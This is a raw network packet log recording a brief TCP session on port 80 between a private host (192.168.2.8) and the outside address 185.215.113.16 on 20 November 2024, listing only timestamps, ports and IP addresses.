Nov 20, 2024 03:20:50.273461103 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.273478031 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.273492098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.273498058 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.273498058 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.273530006 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.306706905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.306751966 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.306766987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.306782961 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.306804895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.306813002 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.306818008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.306818008 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.306818008 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.306835890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.306875944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.306875944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307388067 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307477951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307492971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307507992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307552099 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307552099 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307555914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307573080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307588100 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307632923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307638884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307655096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307671070 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307687044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307702065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307724953 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307724953 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307733059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307746887 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307780027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307795048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307809114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307847023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307847023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.307923079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307938099 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307952881 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307967901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307985067 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.307986021 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308016062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308036089 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308062077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308069944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308094025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308105946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308176041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308192968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308207989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308231115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308245897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308250904 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308262110 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308284998 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308306932 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308357000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308372974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308387995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308403969 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308415890 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308418036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308435917 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308443069 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308492899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308509111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308525085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308527946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308553934 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308604956 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308619976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308634043 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308648109 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308649063 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308675051 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308680058 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308726072 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308738947 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308754921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308768988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308787107 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308800936 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308804035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308846951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308856964 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308892012 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.308897972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308913946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308928967 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.308937073 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309000015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309001923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309031010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309056044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309076071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309108973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309123039 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309170961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309223890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309226990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309242010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309256077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309273005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309277058 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309278011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309288979 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309304953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309320927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309328079 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309345007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309361935 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309413910 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309536934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309554100 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309570074 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309576988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309585094 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309660912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309668064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309676886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309694052 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309706926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.309716940 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.309737921 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.341469049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.341489077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.341511965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.341521025 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.341530085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.341546059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.341555119 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.341562986 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.341584921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.341593027 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.341602087 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.341662884 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.362808943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.362842083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.362898111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.362900972 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.362948895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.362958908 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.362983942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363018036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363064051 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.363068104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363101959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363133907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363168001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363214016 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.363214016 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.363217115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363269091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363302946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363323927 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.363360882 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.363369942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363406897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363500118 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.363915920 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.363967896 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364002943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364036083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364051104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.364070892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364084959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.364162922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364212036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364229918 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.364245892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364278078 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364310026 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.364329100 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364363909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364394903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364403963 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.364427090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364460945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364495993 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.364537001 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.364537001 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.398266077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398351908 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.398360968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398394108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398452997 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.398458004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398510933 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398545980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398566961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.398580074 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398632050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398658991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.398684025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398716927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398751020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398783922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398816109 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.398833990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398866892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398873091 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.398921013 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398938894 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.398956060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.398974895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399054050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399110079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399142981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399188995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399188995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399193048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399226904 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399261951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399328947 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399338007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399393082 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399426937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399450064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399498940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399509907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399543047 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399548054 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399561882 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399575949 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399607897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399642944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399672985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399693012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399702072 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399744987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399779081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399806976 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399830103 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399864912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399898052 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399950027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.399950027 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.399983883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400003910 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400029898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400057077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400094032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400126934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400140047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400160074 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400192022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400194883 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400245905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400295973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400327921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400377989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400377035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400377035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400429010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400465012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400475979 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400516987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400557995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400608063 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400609970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400645018 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400657892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400680065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400717020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400728941 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400758982 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400763035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400803089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400805950 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400815010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400847912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400862932 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400882006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400912046 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400928974 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400944948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.400959015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.400979996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401012897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401046991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401079893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401083946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.401112080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401129007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.401148081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401166916 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.401181936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401215076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401247978 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401252031 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.401279926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401312113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.401313066 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401345968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401397943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401431084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401441097 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.401463985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401496887 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.401498079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401504993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.401534081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401561975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.401593924 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.409354925 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.432214022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.432270050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.432292938 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.432303905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.432354927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.432389975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.432390928 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.432423115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.432456970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.432497978 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.432518005 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.453557014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453592062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453625917 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453639030 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.453660011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453710079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453715086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.453742981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453794956 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453809977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.453843117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453876019 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453906059 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.453907967 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453942060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453982115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.453986883 CET	49715	80	192.168.2.8	185.215.113.16
